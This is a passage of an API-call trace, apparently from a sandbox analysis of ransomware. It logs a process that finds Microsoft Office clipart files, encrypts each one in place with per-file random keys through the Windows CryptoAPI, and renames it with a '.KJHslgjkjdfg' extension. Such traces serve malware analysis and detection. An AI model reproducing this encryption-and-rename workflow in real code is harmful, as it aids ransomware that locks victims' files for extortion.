lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.806] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.806] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.806] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6cc0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6cc0, lpOverlapped=0x0) returned 1 [0249.807] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cc0, dwBufLen=0x6cc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cc0) returned 1 [0249.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.807] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6cc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6cc0, lpOverlapped=0x0) returned 1 [0249.808] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.808] SetEndOfFile (hFile=0x130) returned 1 [0249.811] GetProcessHeap () returned 0x2ef0000 [0249.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.811] GetProcessHeap () returned 0x2ef0000 [0249.811] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.kjhslgjkjdfg")) returned 1 [0249.813] CloseHandle (hObject=0x130) returned 1 [0249.813] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1 [0249.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.814] GetProcessHeap () returned 0x2ef0000 [0249.814] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.814] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.815] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0249.817] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.817] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.817] GetProcessHeap () returned 0x2ef0000 [0249.817] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.817] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.817] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.817] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.817] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.818] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.818] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.818] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.818] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c4a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7c4a, lpOverlapped=0x0) returned 1 [0249.900] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7c50) returned 1 [0249.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.901] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7c50, lpOverlapped=0x0) returned 1 [0249.901] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.901] SetEndOfFile (hFile=0x130) returned 1 [0249.904] GetProcessHeap () returned 0x2ef0000 [0249.904] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.991] GetProcessHeap () returned 0x2ef0000 [0249.991] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.kjhslgjkjdfg")) returned 1 [0249.993] CloseHandle (hObject=0x130) returned 1 [0249.993] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1 [0249.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.995] GetProcessHeap () returned 0x2ef0000 [0249.995] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.996] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.996] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.996] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.996] GetProcessHeap () returned 0x2ef0000 [0249.996] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.996] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.996] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.996] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.998] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.998] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.998] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.999] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.999] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.999] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.999] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8e0, lpOverlapped=0x0) returned 1 [0249.999] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8e0) returned 1 [0249.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.999] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8e0, lpOverlapped=0x0) returned 1 [0249.999] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.999] SetEndOfFile (hFile=0x130) returned 1 [0250.002] GetProcessHeap () returned 0x2ef0000 [0250.002] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.002] GetProcessHeap () returned 0x2ef0000 [0250.002] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.kjhslgjkjdfg")) returned 1 [0250.004] CloseHandle (hObject=0x130) returned 1 [0250.004] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1 [0250.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.005] GetProcessHeap () returned 0x2ef0000 [0250.005] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.005] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.006] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.006] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0250.012] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.012] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.012] GetProcessHeap () returned 0x2ef0000 [0250.012] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.012] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.012] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.012] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.012] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.012] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.012] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.013] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.013] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.013] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.013] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2054, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2054, lpOverlapped=0x0) returned 1 [0250.015] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2060, dwBufLen=0x2060 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2060) returned 1 [0250.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.016] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2060, lpOverlapped=0x0) returned 1 [0250.016] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.016] SetEndOfFile (hFile=0x130) returned 1 [0250.018] GetProcessHeap () returned 0x2ef0000 [0250.019] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.019] GetProcessHeap () returned 0x2ef0000 [0250.019] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.kjhslgjkjdfg")) returned 1 [0250.021] CloseHandle (hObject=0x130) returned 1 [0250.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1 [0250.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.022] GetProcessHeap () returned 0x2ef0000 [0250.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.022] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.022] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.022] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.022] GetProcessHeap () returned 0x2ef0000 [0250.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.022] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.022] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.022] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.025] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.025] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.025] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.025] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.025] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.026] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1800, lpOverlapped=0x0) returned 1 [0250.036] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1800, dwBufLen=0x1800 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1800) returned 1 [0250.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.037] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 